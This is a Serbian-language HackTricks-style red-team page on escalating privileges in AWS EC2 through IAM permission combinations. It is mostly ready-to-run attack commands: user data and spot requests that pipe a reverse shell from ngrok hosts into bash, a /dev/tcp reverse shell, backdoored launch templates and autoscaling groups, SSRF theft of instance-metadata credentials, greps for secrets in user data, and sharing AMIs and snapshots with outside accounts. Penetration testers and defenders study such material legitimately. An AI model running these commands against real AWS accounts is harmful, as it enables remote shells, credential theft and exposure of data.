AWS - EC2 Privesc

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

EC2

Za više informacija o EC2 pogledajte:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

An attacker može da kreira instancu, prikači IAM role i potom pristupi instanci kako bi ukrao IAM role credentials sa metadata endpoint-a.

  • Pristup preko SSH

Pokrenite novu instancu koristeći kreirani ssh key (--key-name) i zatim se povežite na nju preko SSH (ako želite da kreirate novi možda će vam trebati dozvola ec2:CreateKeyPair).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Pristup putem rev shell u user data

Možete pokrenuti novu instancu koristeći user data (--user-data) koja će vam poslati rev shell. Na ovaj način ne morate navoditi security group.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Budite oprezni sa GuradDuty ako koristite kredencijale IAM role izvan instance:

AWS - GuardDuty Enum

Mogući uticaj: Direktan privesc na bilo koju EC2 role prikačenu na postojeće instance profiles.

Privesc to ECS

Sa ovim skupom dozvola možete takođe create an EC2 instance and register it inside an ECS cluster. Na ovaj način, ECS services će se run unutar EC2 instance kojoj imate pristup, a zatim možete prodrijeti u te servise (docker containers) i steal their ECS roles attached.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Da biste naučili kako da naterate ECS servise da se pokrenu u ovoj novoj EC2 instanci proverite:

AWS - ECS Privesc

Ako ne možete da kreirate novu instancu, ali imate dozvolu ecs:RegisterContainerInstance, možda ćete moći da registrujete instancu u okviru klastera i izvedete opisani napad.

Potencijalni uticaj: Direktan privesc na ECS role pridružene tasks.

iam:PassRole, iam:AddRoleToInstanceProfile

Slično prethodnom scenariju, napadač sa ovim dozvolama bi mogao promeniti IAM rolu kompromitovane instance kako bi ukrao nove kredencijale.
Pošto instance profile može imati samo 1 rolu, ako instance profile već ima rolu (uobičajen slučaj), takođe će vam trebati iam:RemoveRoleFromInstanceProfile.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Ako instance profile ima role i napadač ne može da je ukloni, postoji drugo zaobilazno rešenje. Može pronaći instance profile bez role ili kreirati novu (iam:CreateInstanceProfile), dodati role tom instance profile (kao što je prethodno opisano), i povezati instance profile kompromitovan sa kompromitovanom instance:

  • Ako instance nema nijedan profile (ec2:AssociateIamInstanceProfile)
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Potencijalni uticaj: Direktan privesc na drugu EC2 ulogu (potrebno je da kompromitujete AWS EC2 instancu i imate neku dodatnu dozvolu ili specifičan instance profile status).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Sa ovim dozvolama moguće je promeniti instance profile pridružen instanci, tako da ako napadač već ima pristup instanci, moći će da ukrade kredencijale za više instance profile uloga menjajući instance profile pridružen toj instanci.

  • Ako instanca ima instance profile, možete ukloniti instance profile (ec2:DisassociateIamInstanceProfile) i pridružiti drugi
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • ili zameniti instance profile kompromitovane instance (ec2:ReplaceIamInstanceProfileAssociation).
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>

Mogući uticaj: Direktan privesc na drugu EC2 role (zahteva da ste kompromitovali AWS EC2 instancu i imate dodatnu dozvolu ili specifičan instance profile status).

ec2:RequestSpotInstances,iam:PassRole

Napadač sa dozvolama ec2:RequestSpotInstancesandiam:PassRole može zatražiti Spot Instance sa EC2 Role attached i ubaciti rev shell u user data.
Kada se instanca pokrene, može ukrasti IAM role.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Napadač koji ima ec2:ModifyInstanceAttribute može menjati atribute instance. Među njima može promeniti user data, što znači da može naterati instancu da pokrene proizvoljan sadržaj. To se može iskoristiti da se dobije rev shell na EC2 instanci.

Imajte na umu da se atributi mogu izmeniti samo dok je instanca zaustavljena, pa su potrebne dozvole ec2:StopInstances i ec2:StartInstances.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Potencijalni uticaj: Direktan privesc na bilo koju EC2 IAM Role prikačenu na kreiranu instancu.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Napadač koji ima permisije ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateand ec2:ModifyLaunchTemplate može da kreira novu Launch Template verziju sa rev shell u user data i bilo koju EC2 IAM Role na njoj, promeni podrazumevanu verziju, i bilo koja Autoscaler grupa koja koristi taj Launch Template koja je konfigurisana da koristi najnoviju ili podrazumevanu verziju će ponovo pokrenuti instance koristeći taj template i izvršiti rev shell.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Potencijalni uticaj: Direktan privesc na drugu EC2 role.

(autoscaling:CreateLaunchConfiguration | ec2:CreateLaunchTemplate), iam:PassRole, (autoscaling:CreateAutoScalingGroup | autoscaling:UpdateAutoScalingGroup)

Napadač sa dozvolama autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole može kreirati Launch Configuration sa IAM Role i rev shell unutar user data, zatim kreirati autoscaling group iz te konfiguracije i sačekati da rev shell ukrade IAM Role.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Potencijalni uticaj: Direktan privesc na drugu EC2 ulogu.

!autoscaling

Skup dozvola ec2:CreateLaunchTemplate i autoscaling:CreateAutoScalingGroup nije dovoljan za eskalaciju privilegija na IAM role, jer da biste prikačili rolu navedenu u Launch Configuration ili u Launch Template treba vam dozvole iam:PassRole i ec2:RunInstances (što je poznat privesc).

ec2-instance-connect:SendSSHPublicKey

Napadač sa dozvolom ec2-instance-connect:SendSSHPublicKey može dodati SSH ključ korisniku i koristiti ga za pristup (ako ima SSH pristup instanci) ili za eskalaciju privilegija.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Potencijalni uticaj: Direktan privesc na EC2 IAM roles prikačene na pokrenute instance.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Napadač sa dozvolom ec2-instance-connect:SendSerialConsoleSSHPublicKey može dodati ssh ključ na serijsku vezu. Ako serijska konzola nije omogućena, napadač treba dozvolu ec2:EnableSerialConsoleAccess da je omogući.

Da biste se povezali na serijski port, takođe morate znati korisničko ime i lozinku korisnika unutar mašine.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Ovaj način nije toliko koristan za privesc jer morate znati username i password da biste ga iskoristili.

Potencijalni uticaj: (Veoma teško dokazivo) Direktan privesc na EC2 IAM roles koje su pridružene running instances.

describe-launch-templates,describe-launch-template-versions

Pošto launch templates imaju verzionisanje, napadač sa ec2:describe-launch-templates i ec2:describe-launch-template-versions permisijama može iskoristiti ovo da otkrije osetljive informacije, kao što su credentials prisutni u user data. Da bi se to postiglo, sledeći skript prolazi kroz sve verzije dostupnih launch templates:

for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done

U komandama iznad, iako navodimo određene obrasce (aws_|password|token|api), možete koristiti drugi regex da pretražite druge vrste osetljivih informacija.

Ukoliko pronađemo aws_access_key_id i aws_secret_access_key, možemo koristiti te akreditive za autentifikaciju na AWS.

Potencijalni uticaj: Direktna eskalacija privilegija na IAM korisnika(e).

Reference

ec2:ModifyInstanceMetadataOptions (degradacija IMDS-a radi omogućavanja SSRF krađe akreditiva)

Napadač koji ima mogućnost da pozove ec2:ModifyInstanceMetadataOptions na ciljanoj EC2 instanci može oslabiti IMDS zaštitu omogućavanjem IMDSv1 (HttpTokens=optional) i povećanjem HttpPutResponseHopLimit. To čini endpoint metapodataka instance dostupnim putem uobičajenih SSRF/proxy putanja iz aplikacija koje se pokreću na instanci. Ako napadač može izazvati SSRF u takvoj aplikaciji, može preuzeti kredencijale instance profila i pivotirati koristeći ih.

  • Potrebne dozvole: ec2:ModifyInstanceMetadataOptions na ciljanoj instanci (uz mogućnost da dosegne/izazove SSRF na hostu).
  • Ciljani resurs: pokrenuta EC2 instanca sa prikačenim instance profile-om (IAM role).

Primer komandi:

# 1) Check current metadata settings
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
--query 'Reservations[0].Instances[0].MetadataOptions'

# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-endpoint enabled --http-tokens optional \
--http-put-response-hop-limit 3 --instance-metadata-tags enabled

# 3) Through the SSRF, enumerate role name
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# 4) Through the SSRF, steal the temporary credentials
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"

# 5) Use the stolen credentials
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity

# 6) Restore protections (require IMDSv2, low hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1

Potencijalni uticaj: Krađa instance profile kredencijala putem SSRF što dovodi do privilege escalation i lateral movement koristeći dozvole EC2 role.

ec2:ModifyInstanceMetadataOptions

Napadač sa dozvolom ec2:ModifyInstanceMetadataOptions može oslabiti zaštite Instance Metadata Service (IMDS) — na primer primoranjem IMDSv1 (tako da HttpTokens nisu obavezni) ili povećanjem HttpPutResponseHopLimit — čime se olakšava exfiltration privremenih kredencijala. Najznačajniji rizik je povećanje HttpPutResponseHopLimit: podizanjem tog hop limita (TTL), endpoint 169.254.169.254 prestaje da bude strogo ograničen na VM-ov network namespace i može postati dostupan drugim procesima/kontejnerima, omogućavajući krađu kredencijala.

aws ec2 modify-instance-metadata-options \
--instance-id <INSTANCE_ID> \
--http-tokens optional \
--http-endpoint enabled \
--http-put-response-hop-limit 2

ec2:ModifyImageAttribute, ec2:ModifySnapshotAttribute

Napadač koji ima dozvole ec2:ModifyImageAttribute i ec2:ModifySnapshotAttribute može deliti AMIs ili snapshots sa drugim AWS nalozima (ili čak učiniti ih javnim), izlažući slike ili volumes koji mogu sadržati osetljive podatke kao što su konfiguracije, kredencijali, sertifikati ili rezervne kopije. Menjanjem AMI-jevih launch permissions ili snapshot-ovih create-volume permissions, napadač omogućava trećim stranama da pokreću instance ili montiraju diskove iz tih resursa i pristupe njihovom sadržaju.

To share an AMI with another account:

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Da biste podelili EBS snapshot sa drugim nalogom:

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks